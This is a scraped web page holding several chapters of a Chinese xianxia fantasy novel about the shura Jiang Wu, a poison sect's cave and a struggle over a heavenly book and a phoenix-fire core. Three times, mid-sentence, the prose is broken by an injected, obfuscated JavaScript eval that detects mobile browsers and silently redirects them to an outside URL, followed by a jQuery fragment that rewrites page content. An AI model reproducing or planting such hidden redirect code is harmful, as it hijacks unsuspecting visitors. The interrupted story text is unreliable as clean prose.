“不是我想死,而是我本身就会死,这件事你再清楚不过了,不是吗?” 姜芜有些疲惫地合上双眸,将心中的怒火压了下去,“到此为止吧,有本事便从我手里将天书抢走。”说完,她随即起身将腰间的纳袋解下放在了桌上,然后离开了画舫。 睢羲看着江面上西垂的日暮,神情平静,夕阳灿灿,江风猎猎,穿堂而过,吹起他耳畔的碎发,浸不透他万古不化的黝黑双眸。 一阵罡风掠进画舫,百衢一身黑袍坐到了姜芜的位置上,他拿起姜芜未用过的酒杯,将其中的江心月一饮而尽,随即长长地舒了口气。 “这江风吹着可真舒服啊。”百衢支起一条腿踩在板凳上,神情惬意地看着江面,“睢羲啊,你可知晓无幻之境的修罗都羡慕你啊。” 睢羲目不转睛地看着江面,并没有分给百衢一个眼神,“羡慕我何事?” 百衢转头看向睢羲,他的瞳孔黑至发紫,惊心动魄的面容上带着一股邪气,“濯濯乖巧、听话、有趣,在房事上不会因为一个不快而跟你闹脾气,对你百依百顺,你说羡慕你何事?当然是羡慕你们感情好啊。” 百衢说完便笑了起来。 睢羲开口问道:“天书有着落了吗?残本确定在戚诃手中吗?” 百衢故作神秘地说:“今夜子时便知晓了,只不过......” 百衢止住了话头,接着幽幽地叹了一口气,“都说修罗为天道宠儿,我看啊这天道宠儿只有你睢羲一人而已,连濯濯都只青睐于你一人,她也不考虑考虑别人,独在一根树上吊死。不过,我看她这次又交了这么多新朋友,可难说哦。如果她这次选择了妖,是否会诞生个比苍旻还强大的妖?” 睢羲旁若无人地饮酒,看着逐渐昏暗的江面,面色也变得阴沉起来。 百衢见状也不惧,自顾自地说:“若是这次濯濯不听话该如何?睢羲大人,你可不要色令智昏啊,你可是答应过我的,人族常说,一言既出驷马难追呐。” “没忘。” 百衢勾唇,“那我便等你的好消息。”说完,他便化成一道罡风离开了画舫。 睢羲静坐了片刻,随后将手中的酒杯放到桌面上,抬手的瞬间姜芜留下的纳袋便飞入了他的手中。 睢羲细细地摩擦着上面针脚细密的花纹,然后解开了上面的禁制,里面盛放的都是姜芜游历各地买下的稀罕玩意,万花镜、拨浪鼓、风车,甚至还有一些吃食。 睢羲从纳袋中摸出一柄拨浪鼓,他轻轻地摇晃着,挂着铃铛的鼓锤顺着力道在寂静的画舫内碰撞鼓面发出沉闷又清脆的声音。 睢羲轻笑出声。 【万毒门】 姜芜踏入万毒门时险些迎面撞上外出的商扶庭,她后退了半步,似笑非笑地看着后者,“急急忙忙的,这是要去哪里?” 商扶庭托过姜芜的手臂,上下打量了她一番,神情有些焦急地说:“雾沅说他又来找你了,这么长时间未归,我怕他对你不利。” 姜芜笑着说:“你多虑了,我只不过有些累睡着了而已,所以才耽误了些时间。” “你心真大。”商扶庭松手,“既然如此,要不然先休息一晚?戚门主已经找好了器具,取顒鸟精火并不会耗费太多的时间。” 姜芜说:“不必了,我已经休息好了,你们吃过晚饭了吗?我们现下便可以开始了。” 商扶庭追问道:“真的不要紧?” 姜芜颔首,随后越过商扶庭向万毒门内走去。 戚诃见状起身相迎,“姜前辈,您回来了。” “劳烦门主挂心了,不在门内的几日往天都城走了一遭。”姜芜说,“也看过了天都东城目前的情况,不知门主可找到了法子?” 戚诃面带愁云般地摇了摇头,“并无,只是凭借着二位法师带回来的样水,写了一副用来延缓的方子,终究是治标不治本,要想解决东城一事,还是需要从源头上取法。”说完,他便请姜芜入座,抬手沏茶。 姜芜问道:“两位法师已经走了?” 戚诃颔首,“在姜前辈回来的前一天,他们已经启程回天都了。” 姜芜轻轻敲了敲桌面,随后端起茶杯抿了一口热茶,“何时可以开始取顒鸟精火?” 戚诃面上一喜,随即说:“只要前辈方便,何时都可。” 姜芜说:“那便现下开始吧,省得夜长梦多。” “我立刻让人着手准备。” 【万毒门毒窟】 李先寻和胡赞举着特质的灯走在前方,他们弯腰进入一处石窟内。一条人工开凿的隧道近似垂直向下,石壁两侧嵌入两条堕入深渊的锁链,空气闷热猩甜,潮湿的气息扑面而来,夹杂着生铁味,随处可见的青苔,以及若有若无的水滴声。 戚诃看了一眼身后的三人,“当心脚下。” 沈确有些心神不宁地看着整条隧道,然后在商扶庭的搀扶下缓慢得跟上了众人。 “师兄,你有没有听到什么奇怪的声音?” 沈确快走了几步,贴到了商扶庭身侧,她警觉地扫视着四周。 商扶庭仔细听了片刻,随后摇了摇头,“阿确,你听到什么了?” 沈确说:“窸窸窣窣的声音,像是成千上万的虫子聚集在一起,互相爬动,还有振翅的声音。” 戚诃回头看了沈确一眼,“沈小友莫怕,我们马上便要到了。” 胡赞推开面前的木门,每个人都听到了沈确所描述的那种声音,而且更为响亮,更加清晰。 毒窟像是一只碗落在山体中,四周是万毒门封印的结界,一条石道通往中央的平台。 毒虫就在平台下方的深渊之中,密密麻麻,无以计数。 隋垂枝身穿黑白色长袍跪坐于平台之上,大量的毒虫盘踞于她的身上,企图撕咬着她的皮肉,啃食着她的鲜血。 很快,那些毒虫便从她身上落了下来,躺在地上没有了生息。 隋垂枝一只手安抚了一番腹中躁动不安的胎儿,另一只手将地上的毒虫捞了起来,随后深深地叹了一息,她已经无法再通过毒虫来增强体内毒素,水神泽润留给她的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188560|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既是万毒之毒也是万毒之解。 沈确抬眸便看到了隋垂枝,脸上一扫方才担忧变得高兴起来,她想跟隋垂枝打招呼,又怕打扰了她的修行,便只能硬生生地忍了下来。 李先寻在戚诃的授意下上前将隋垂枝扶起,“今天便到此为止吧。” 隋垂枝脸色苍白地看了一眼李先寻,无力地点了点头。 姜芜四下扫视一番,随后跟着戚诃登上了平台。 戚诃踩下脚底的按钮,一方石台载着一尊琉璃色棺椁升起,他从袖袋中取出一方白玉葫芦,对疑惑不解地众人解释道:“各位莫怕,门中最锋利的蛊虫在我道侣棺椁之中,是我道侣生前所炼制,离开我道友的肉身范围便会日日苦耗而亡,所以不得已才出此下策。” 戚诃说完便看向了姜芜。 姜芜展开手掌,将内丹托举到戚诃手中。 戚诃面上有一瞬间的迟疑,他不敢贸然上前接过姜芜手中的顒鸟内丹,生怕一个疏忽自己便会被烧成灰烬。 隋垂枝见状上前从姜芜手中取过了那枚内丹,她看着那么赤红色的内丹,用自己稀薄的真元包起然后放在了戚诃面前。 商扶庭蹙眉,他欲言又止地看着姜芜,顒鸟精火可灼烧世间万物,即便是放在姜芜处,她也日日夜夜饱受精火灼烧之苦,没道理直接接触内丹的隋垂枝会毫发无伤。 姜芜捻了捻手指,开口问道:“戚门主欲如何?直接用蛊虫的爪牙破开内丹外壳吗?” 戚诃见状伸手将内丹握在手中,随后抬手推开了棺椁的盖板。 袁星月神情恬静地躺在其中,她穿着一身孔雀绿色的衣衫,双手交叠在腹部,除了灰白色的面色,第一眼根本无法判断她是生是死。 棺椁内堆满了新鲜的花朵,馥郁的花香之下是难以掩盖的尸臭味。 沈确讶然,不自觉地攥紧了商扶庭的衣角。 姜芜看到袁星月的第一眼,被她丢弃在角落的记忆纷至沓来,她想起了袁星月是如何血战到死,又是如何被她挖出了整个心脏。 戚诃拿着内丹探入棺材之中,然后不动声色地将其捏碎,一道紫黑色的烟雾缓缓升起。 所有人都没有发现这场变故,只有站在戚诃身后的隋垂枝看到了全部。 隋垂枝面色一凛,她挥袖击出一股带着毒气的真元。 姜芜抬袖遮挡,衣摆被腐蚀掉了大半,她面色有些惋惜地看着自己的衣裳。 “圣女?”胡赞惊诧地看着隋垂枝,“这是为何?” 隋垂枝神情戒备地看着姜芜,“扶庭、阿确到这边来,她可是个修罗,你们千万不要被她骗了!” 姜芜挑眉,她勾起唇角,“何以见得?” 隋垂枝解释说:“单凭你被修罗掳走之后,又能平安回来,起初我们只是猜测,毕竟姜前辈修为高强,从修罗底下逃脱虽然耗费点时间,但是应该不成问题。你伪装得如此之好,为何不伪装到底?偏偏在一颗假内丹上露了馅,这不像是你的作风,那可是修补无幻之境的圣物,事已至此,不如坦诚相待。” 商扶庭和沈确夹在两方之间,一时难以抉择。 隋垂枝见状,不解地看向二人,“还不明白吗?你们被她骗了!” 姜芜笑着说:“过去吧,到隋垂枝的身后去。” 戚诃面色顿时阴沉了下来,“你是何意?” 姜芜用戾气将内府中的顒鸟内丹取出,赤红色的光芒顿时照亮了阴暗潮湿的毒窟,顒鸟绚丽如晚霞般的残影围绕着内丹久久不散。 商扶庭见状开口问道:“姜芜,为何不把真的内丹给戚门主,你不信他还是有难言之隐。” 姜芜睨了商扶庭一眼,对戚诃问道:“戚门主,做个交易吧。你回答我两个问题,我把顒鸟内丹给你,如何?” 戚诃蹙眉,面色逐渐阴沉,对于姜芜提出的要求并没有及时做出回应。 沈确不解地问道:“你这是何意?戚门主帮我们是好意,何谈交易一说?” “戚门主,别人不明白我话中的深意,你还不明白吗?”姜芜漂亮的双眸紧盯着戚诃,“我之所以给你一颗假的内丹,是希望给在场的所有人一个机会,也给你一个重新考虑的机会,要合作吗?” 戚诃沉思了片刻,随后从棺椁之后走了出来,“你想要什么?” 35. 梦多 姜芜面上的笑意更深,“很好,我想要两个问题的答案。” 戚诃说:“你问。” “第一个问题,你手中的天书在哪里;第二个问题,是不是你大量捕捉了霰雪蝶?”姜芜见戚诃预备开口回答,率先说,“戚门主,我建议你想好了再回答,毕竟我是不会随便问的。” 戚诃默不作声地看着姜芜,双眸中已经翻腾起了滔天的怒火。 商扶庭出声问道:“天书是何物?” 姜芜见状也不催促戚诃要个详细答案,只是作势要毁掉手中的顒鸟内丹。 “天书在我手中。”戚诃阴沉着脸回答,“霰雪蝶一族也是我屠杀的,我需要它们身上的毒。现下,可以将顒鸟内丹交给我了吗?” 一只紫黑色的蝴蝶从姜芜的发簪之下飞落,妖力腾空而起,雾沅化成人形站在姜芜身侧。 李先寻顿时严阵以待,“霰雪蝶?” 姜芜抬手顺了顺自己的墨发,“冤有头债有主,你屠杀了那么多的霰雪蝶,一定也会想到有一天会被寻仇吧。圣女也是被一层又一层的选拔上来的,在隋垂枝之前,多少无辜孩童又葬送你的手中,杀孽如此之重,你又是为何呢?” 隋垂枝吼道:“还不是因为你们修罗的存在?如果不是为了抵御修罗,门主也不会双手沾满鲜血,就算冤有头债有主,这冤这债也应该全部算到你们修罗头上,你们就不该存在于这个世上。” 姜芜面上风轻云淡,“别太天真了,没有我们也会有其他的种族,就像戾气不会完全消失一般。” 雾沅广袖中的双拳紧紧地攥了起来,他神情悲痛地看着戚诃,双眸中不乏喷薄的怒火。 姜芜偏头看向雾沅,“你欲如何?报仇雪恨吗?” 隋垂枝见姜芜分神,迅速栖身上前,既然姜芜是修罗,隋垂枝便不怕她,即便是她们两人之间的差距犹如天堑,但是她浑身都是能将修罗化成渣的毒。 姜芜挥袖想击退隋垂枝,却被后者趁机握住了她的衣袖,一身夹杂着毒气的真元瞬间迸发而出,出乎了所有人的意料。 姜芜意图后退躲闪,隋垂枝一把将顒鸟内丹夺走,紧握于手中。 “蠢货!” 姜芜抬手挡住脸,用戾气隔开同隋垂枝的距离,却未伤害后者分毫,毒气还是入侵到了她的双眸之中,刺痛的感觉即刻而至,视线如同坠入了血海之中。 “姜芜!” 雾沅见状迅速搀扶住姜芜,“你感觉如何?” 姜芜蹙眉,摇了摇头说:“年轻人就是冲动,我的脸没事吧?” 雾沅神情一愣,他没想过姜芜会是那种在乎外表的人,但是看了看后者略带灼烧痕迹的脸,也觉得这张脸若是有毁损痕迹也确实可惜,“多少有一点,不严重。” 隋垂枝滚落至一旁,顒鸟内丹中的精火烈烈,通过她的手掌迅速灼烧至了小臂,她咬牙忍住痛吟,“我一定会帮......帮门主达成夙愿。” 李先寻面色动容,忍不住出声道:“枝枝,松开顒鸟内丹,没人会抢的,再这样下去你会没命的。” 隋垂枝充耳不闻,拼尽全身的真元,随着一声高昂的嘶吼声,她用自己的真元让顒鸟内丹破开了一条缝隙,滚滚精火倾泻而出,瞬间将她的身体吞噬。 “枝枝!” 姜芜迅速将戾气铺陈开来,以戾气来代替双眸来感知四周外物,她朝着隋垂枝的方向张开手指,将全部的精火收拢了起来。 “愣着做什么?救人!”姜芜面色惨白,没有内丹包裹的精火灼烧力更甚,因为目不能视,她甚至觉得自己的手掌正在碳化,痛苦难言,“她有水神之力护体,应该没有那么容易死。根本没有能破开顒鸟内丹的蛊虫,戚诃你在骗我们!避火的法器呢?” 沈确被突如其来的变故惊得待在了原地,她看着隋垂枝被顒鸟精火烧至碳黑的身体,泪水很快溢满了眼眶,双唇嚅嗫着说不出一句话。 商扶庭立刻上前,他先是探了探隋垂枝的脉息,随后源源不断地往她的体内输送真元,焦急地说:“她还活着,保命的灵丹妙药都可以用,要快。” 李先寻催促道:“门主!” 戚诃神情冰冷地看了一眼李先寻,他先是用手中的避火法器收取了姜芜手中的精火,“女修罗,这是你欠我的。”说完,他才转身走向蜷缩在一旁、奄奄一息的隋垂枝。 姜芜松了一口气,用戾气缓慢地修复着自己身上的伤口。 商扶庭握着隋垂枝的手,竭力为她输送着真元保命,随即被一股雄厚的真元震开,喉头顿感腥甜,他看着戚诃神情不明地俯身抓向隋垂枝,忍不住问道:“戚门主,你要做何事?!” 戚诃伸手推了一下隋垂枝的肩膀,让她仰面平躺,手中避火法器隐约开始烫手,俨然坚持不了太久。 沈确突然尖叫了一声。 李先寻大惊,“门主!!!” 姜芜蹙眉,她偏头去问雾沅,“发生何事了?” 雾沅眉心拢紧,他失语地看着面前突然发生的一切,片刻后才找回了自己的声音,“戚诃......戚诃他剖开了隋垂枝的腹部,将胎元取了出来。” 胎元离体,又无人给隋垂枝输送真元,没有能供给生源的力量,她的呼吸逐渐弱了下去,焦黑、残破的身体,鲜红的内脏顺着腹部破裂的伤口缓缓地流了出来。 商扶庭讶然,气血翻涌上来,当头喷出一口热血。 戚诃面无表情地托举着胎元,另一只手将避火法器捏碎,他操控着暴虐的顒鸟精火在棺椁上方展开,声音嘶哑地开口道:“用顒鸟精火炼化天生毒童的胎元,可保尸体不腐烂,更有可能让人寻回神志,起死回生。” “这世上怎么会有这么多令人起死回生、长生不老的术法,为何要信这些鬼话?杀了这么多?”姜芜冷笑一声,“你想听听袁星月残留的神志在说什么吗?” 戚诃面色一凛,“什么?” 姜芜抬手往棺椁中打入一道戾气,其中只有顒鸟精火猎猎灼烧的声音,随后袁星月绝望又悲痛的声音传了出来,回荡在整个毒窟内。 “好痛啊!好痛啊!好痛啊!” “让我死吧!让我死吧!两百年了!让我死吧!!!” 戚诃怔住,双唇嚅嗫道:“星月……” 姜芜见状唤出无心乱,趁戚诃怔愣,预备扬手将胎元投入烈火之中时,她用长鞭将胎元卷了过来,反手托付给了雾沅。 戚诃见状,撕开了往日的儒雅,神情狠厉地转身看着姜芜,“你做何事?!你刚刚是骗我的!对不对!那不是星月!那是你的幻术!!!你答应过我的!这是我们的交易!二十多年了,我等得就是此刻!!!你把胎元还给我!” 姜芜面无表情地说:“我只是答应将顒鸟精火交给你,并没有答应将胎元给你,有本事便来抢。至于方才是不是袁星月,我何故骗你?” 商扶庭吐出一口血沫,他看着在棺椁上蔓延的精火,冷笑了一声,“戚门主,再不将精火收拢起来,你道侣的尸首可就不保了。” 戚诃怒吼一声,他看着顒鸟精火滚滚钻入棺椁之中,不管不顾地冲到了袁星月身边,双眸赤红地怒吼道:“星月星月!姜芜!把胎元给我!求你!把胎元给我!我不能再一次失去她了!” 胡赞一把按住了失控的戚诃,“门主不可,危险,你要为万毒门着想。” 戚诃转头看向姜芜,恳求道:“姜芜!我知晓无法从你手中取得胎元,你也不会主动交给我!既然你问起了天书,你一定很想要吧!我可以用天书来换取你手中的胎元。” 戚诃神情转变之快,从谆谆诱导变成了歇斯底里。 顒鸟精火无声无息地吞噬着毒窟内稀薄的空气,甚至有向四处蔓延扩散的趋向,整个毒窟内的升温迅速,毒虫都一副躁动不安的样子,窸窸窣窣的声音更大了,妄图挣扎着逃离这里。 沈确听着商扶庭的咳嗽声回神,她伸手抚了抚后者的脊背,眼泪悄无声息地往下流着,片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188561|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻后她悄无声息地站了起来,抬手用力将棺椁的盖板合了上来,烈烈精火瞬间被压制在了琉璃棺椁之中,刺目的火光顷刻消失得无影无踪。 戚诃一愣,他太清楚方才是何种声音了,忘记了大喊大叫,甚至没有勇气回头看一眼。 商扶庭捂着胸口,他的伤势有些重,胸口呈现出一种撕裂般的刺痛感,他有些难以置信地看着沈确,“阿确?” 沈确吸了吸鼻涕,她怒斥着戚诃,“隋姐姐那么相信你,她说她活着便是为了报答你,但是你这人狼心狗肺,将她拳拳赤子报恩之心视如草芥,像你这样的人,不配得到自己想要的!活该一辈子都或者求之不得中!” 戚诃哑声,随即撕心裂肺地吼叫着挣脱胡赞的压制,连滚带爬地朝着棺椁扑了过去。 “星月!!!” 琉璃棺椁承受不住高温的灼烧,瞬间爆炸裂开,精火瞬间吞噬掉了里面的一切,那个如花似玉一般的人,以及戚诃的所有念想。 金色的天书顷刻而出,带着神力漂浮在整个毒窟之中,不熄不灭的精火席卷而来,带着迅猛的势头张牙舞爪地扑向四周。 李先寻见状,同胡赞将失智的戚诃架起预备撤出毒窟,“这里会烧塌的,先撤!” 雾沅惊讶地看着漫天异象,“这是?” 李先寻看了一眼被烈火吞噬的隋垂枝的尸体,随即头也不回地离开了毒窟。 “笨,这当然是天书了。”季易从毒窟外袭来,他手中拿着白玉书筒,按照睢羲交给他的法咒,将四散的天书收拢了起来,“姜芜,修罗王让我代他向你道谢。” 季易说完便带着装着白玉书筒的天书飞出了毒窟。 沈确搀扶着商扶庭跌跌撞撞地走了过来,“这下怎么办?还有顒鸟可以猎杀吗?!” 姜芜咬牙,她将顒鸟精火全部吸纳进了自己的体内,“天书绝对不能落在他们的手中。”说完,她便追了出去。 “等等!” 商扶庭追了两步,却因为伤口的剧痛而不得不停下脚步。 毒窟震动,藏匿于其中的毒虫如同一片黑色浪潮迅速向外爬去,四周隐隐有倒塌的趋势。 雾沅俯身将商扶庭背起,同沈确快步出了毒窟。 姜芜追出了毒窟,率先感受到的便是冰凉的夜气,她凭借着戾气疾行至房顶之上。 巨大的月亮挂在夜幕之中,清辉撒满了万毒门的每一个角落,仿佛从天而落的巨大白纱。 姜芜察觉到手中的无心乱微颤,便知道睢羲也跟着来了万毒门。 “天书不是你能碰的。” 季易敲了敲手中的白玉书筒,饶有兴趣地看着对面的姜芜,“那又如何,天书就在这里,你完全有能力将它抢回去,来抢啊。” 姜芜蹙眉,她只能感受到睢羲的存在,却自始至终都未听到他开口,心中按捺不住地发慌。 睢羲就立在距离季易不远处的地方,他静静地看着姜芜,在察觉到后者的眼疾时,眉心微不可查地一拢。 沛然看了睢羲一眼,随即扬声道:“姜姑娘,请把你手中的另一卷天书交给我们。” 戚诃心如死灰的面上突然迸发出了簇光芒,他扭头去看姜芜,“天书?你身上有天书?!里面有没有记载时光倒转的方法?!” 姜芜神情一愣,随后摇了摇头说:“没有,天书残卷你又是从何处得到的?” “倒转时光?”睢羲居高临下地看着狼狈不堪的戚诃,“将时光倒转至何时?倒转至顒鸟精火烧毁你道侣尸首之前,还是倒转至你道侣死之前?” 商扶庭在雾沅的搀扶下站稳,神情复杂地看着睢羲。 戚诃面色空白,他从未想过这么多,如果时光能倒转至袁星月未被挖心之前,他又何苦守着一具尸体不放。 “如果可以自然是回到她生前之时,我的一切痛苦都来源于她被挖心之时。” 睢羲出声笑了起来,他抬手指向姜芜,“你的一切痛苦都来源于她!” 36. 混战 众人闻声立刻看向了立于屋顶之上的姜芜。 姜芜面无表情地立着,仿佛睢羲口中所说的人并非是她一般。 商扶庭追问道:“你这是何意?” “我是何意?”睢羲唇角带笑,“越迦柯,你们认识吗?五行道宗的小道士?” 沈确蹙眉,“此事还同我大师兄有关?!” 睢羲张开手探向前,将斩破剑从姜芜的纳袋中取出,“这柄剑你们可认得?” 商扶庭面色凝重,“斩魄剑,这是越师兄的本命剑,为何……” 商扶庭后知后觉地明白过来,修士的本命剑同性命相连,剑不离手,人在剑在,剑断人亡。 沈确大惊失色,“你杀了越师兄!” 戚诃推开搀扶着他的二人,朝睢羲所立的方向走了两步,追问道:“你究竟是何意?!为何要杀星月?!” “虽然姜芜身不由己,但是她杀了七仙的事实不假。”睢羲将斩魄剑投掷向了庭院,“因果轮回,七仙若是不死,便不会有天都东城投毒一事,更不会有霰雪蝶一族被灭。牵一发而动全身,说不定在其他地方也上演着你们不知晓的人间惨剧。” 姜芜敛眸,她欲言又止,最终却只是幽幽地叹了口气,心中发冷。 “为何?!为何?!为何?!” 戚诃咆哮着质问道,随即运转起周身的真元,飞身冲向了姜芜。 睢羲抬手将戚诃从半空中打落,轻飘飘地落在了姜芜的身侧,他伸手扫过姜芜纤长的睫毛,随即掐住了她的脖颈。 “其实因果不能这么论,应该从你与段怀野相识开始。”睢羲的神情越发得狠厉狰狞,手上却不舍得用力,“当初你与段怀野为了人族的兴旺,联手将妖族与修罗族各自封印时,一切便开始了,因与果环环相扣,命与运半点不由人。” 姜芜唇角泛起一丝苦涩的笑,精火游走于她周身经脉,蒸发掉她即将溢出框的泪珠,显得她面上淡然一片,随即她睁开双眸,挥动起无心乱拉开与睢羲的距离,飞身掠向季易,抢夺他手中的天书。 寂满从姜芜的袖口中飞出,他站在雾沅身侧,轻声开口问道:“雾沅,如果姜芜与段怀野没有封印大荒,是不是我的哥哥们就不必祭献神树,那姜芜为何又耗损自己的戾气来帮神树恢复生机呢?她是后悔了吗?” 雾沅听完睢羲的叙述此时心乱如麻,手中托着胎元不知安放在何处,“我不知道,我不知道。” 商扶庭咬牙,他抬眸看向混乱的战局,开口道:“过去的事情便让它过去吧,当下趁着姜芜还是心向我们,最重要的是不能让天书落到他们手中,万一其中有时光倒转的术法呢?万一其中有破除大荒结界的术法呢?等无幻之境的封印彻底破除,一切都晚了,所有都将不复存在。” 商扶庭看了一眼戚诃三人,又看了一眼雾沅和寂满二人,随后丛怀中摸出姜芜给的药丸,咬碎后提起太初剑迎了上去。 寂满糊里糊涂地说:“小道士说的对,事已至此,找到解开大荒封印的术法才对。”说完,他便化身成一只黑蛟冲向了季易。 雾沅见状转身将怀中的胎元递给了沈确,“麻烦你先照看一二。” 沈确点了点头,“放心吧,这是隋姐姐的孩子,我会护好的。” 戚诃扫了一眼沈确,随即对李先寻和胡赞说:“你们两个将毒童夺过来,我去杀了姜芜。” 两人应声而动,转身朝着沈确走去。 李先寻朝着沈确伸出了手,“沈小友,得罪了。我们只要毒童,你留着也没有任何用处,不如将它交给我们。” 沈确想起隋垂枝说的话,将怀中的胎元护得更紧,随即转身跑开。 胡赞蹙眉,正准备追上去却被李先寻拦了下来。 “我去追,你在这里接应门主。” 姜芜在第三次失手之后,有些懊恼于自己失明的双目,不得已将周身的戾气全部放出,铺成天罗地网去感受所有人的动向,凶煞强悍的戾气中夹杂着灼人顒鸟精火,遍布整个万毒门上空。 沛然躲开雾沅的风刃,落于姜芜不远的位置,他抬头看向后者,“你的眼睛?是看不见了吗?” 姜芜不语,挥鞭抽向沛然,转身朝着季易冲了过去。 睢羲指尖幻化出一只雕刻着诡异红色花纹的骨钉,他的视线不紧不慢地追随着姜芜。 季易右手如爪朝着商扶庭探去,金丹期的修士在他眼里同凡人没有任何区别。 姜芜隔开商扶庭,甩鞭抽向季易。 季易一惊,迅速后撤,在他预备落脚的地方,一只巨大的黑蛟冲破房屋而出,血盆大口在他脚下大开。 季易旋身躲开,将手中的天书掷至睢羲。 姜芜立刻甩动长鞭,意图半路拦截。 戚诃从一旁探身而出,伸手抓向空中的天书。 睢羲神情平淡地看着戚诃身上溢出来的缕缕黑色鬼气,开口道:“已经不算人了吗?” 接着,一股强烈的戾气迸发而出,众人不得不躲闪防御。 沈确用外袍裹着胎元,一路跑出来万毒门,身后的李先寻紧追不舍,她喘着粗气御剑飞离万毒门,进入了伸手不见五指的树林之中。 沈确很快地找好了藏身之地,她捂住自己的口鼻,让自己急促的呼吸很够尽快平复下来。 李先寻踏入树林之中,从袖口中取了一只毒虫出来,这只毒虫伏在他的指腹上,先是四下摆动着触角,随后对着一个方向发出了细微的叫声。 这只毒虫认得隋垂枝的气息,距离它熟悉的气息越近,它的叫声便会越大。 “沈小友,我知道你躲在哪里,我劝你尽快出来把胎元交出来。”李先寻逐渐靠近沈确的藏身之地,“沈小友,你放心,我是不会伤害你的,我只要胎元。” “吵死了!” 一个穿着黑色圆领袍的少年从树上跳了下来,他伸手掏了掏耳朵,“我不过是路过此地想休息一晚,你们叽叽喳喳的,简直要吵死了!” 李先寻警惕地看着面前的少年,劝告道:“这是我万毒门门内之事,还请阁下不要插手,您只是门主的幕僚。” 少年龇牙道:“我说你吵听不到吗?还是说你想死?” 李先寻见状,面色顿时阴沉了下来,他开口重复道:“这是我万毒门的事情。” 少年不耐烦地翻了个白眼,神情狠厉地看着李先寻。 李先寻见少年手臂猛地一挥,正准备抬手格挡,却觉得喉头一股腥甜,他有些难以置信地伸手去摸自己的脖颈,却触到了大量粘稠温热的鲜血。 李先寻抬眸震惊地看着少年,身体摇晃了一下,无力地跪倒在地,一道锋利的刀口出现在他的脖颈上,断口整齐,他的头颅从断口处滑落在地。 沈确惊恐地瞪大了双眸,她虽然要保护胎元,但是从未想过要李先寻去死,现下所发生的是她最不想看到的,只是今夜发生的所有事情都太过于突然,如李先寻这般修为的人在那位年纪轻轻的人手中都毫无还手之力,更别提她刚刚结丹的修为了。 沈确闭上了双眸,她抱紧怀中的胎元,心中祈祷着这人尽快离开。 少年拨开一堆杂草,神情惊喜地看着团在一起瑟瑟发抖的沈确,笑着说:“啊,找到你了,刚刚那人找的便是你吧。” 沈确尖叫一声,抱着胎元跑了出来,她掐诀唤出太阿剑握在手中,又惊又惧地说:“你要做何事?” 少年饶有兴趣地看着沈确,“我能做何事?我要是想做何事,你还有命活吗?” 沈确瞪着少年,握紧了太初剑,却止不住的颤抖,胎元在她怀中像是一颗心脏一般跳动着,让她惊惧的心逐渐安定了下来,保护好隋垂枝唯一的血脉成了她勇敢的来源支柱。 “可是你刚刚杀了李护法!” “但是他太吵了,我不会随便杀人的,我说了让他闭嘴的,如果他当时闭嘴,我一定不会杀他的。”少年的脸上露出一个无辜的笑容,“我赶了一天的路,只想睡觉,明日一早还要继续赶路,你要是不再吵,我会留你一命的。” 沈确立刻抿紧了双唇,双眸中啜满了惊恐的泪水,她又急又气,神情固执地拿着太阿剑指着少年。 少年见状无奈地叹了一口气,飞身跃到树上找了一处舒服的地方躺了下来,“你走吧,我不会杀听我话的人。” 沈确一惊,她半信半疑地仰头看了一眼少年,随即收起太阿剑,提起周身的真元之力迅速往树林外跑去。 姜芜站在所有人的前方,拢起天罗地网般的戾气阻挡睢羲的攻击。 嗡得一声,白光闪过,恍若永昼。 姜芜伏在地上,她伸手捂住口鼻,也阻止不了喷溅出来的鲜血,体内乱窜的顒鸟精火仿佛要将她烧穿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200456|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜芜按了一下胸口,抬眸有些差异地看着睢羲,噬魂骨钉起效很快,她体内的戾气几乎被封住了全部。 “我以为当初你已经将它毁去,没想到……是为了用到我身上吗?” 姜芜提起一丝力气,从袖袋中的天书中引了一缕神力来用,她还不能倒在这里,至少要将圣物全部集齐,把无幻之境全部封印,阻止灵气的继续入侵之后再倒下。 寂满被戾气震得鳞片崩裂,不得不重新变回人型,他伸手擦了一下脸上的血,四下寻找着雾沅的身影,见后者无碍之后才松了一口气。 睢羲抬手将天书抓在手中,随后起身朝着姜芜走去。 “姜芜,回去了。” 商扶庭见状咬牙起身,手持太初剑挡在了姜芜的身前,“这次不会再让你把姜芜带走了!” 睢羲看着面前的商扶庭,只是抬袖一挥,后者便被击飞了出去,“当年段怀野都没有拦下我,你又凭何拦我,凭一把发挥不出全力的太初剑吗?” 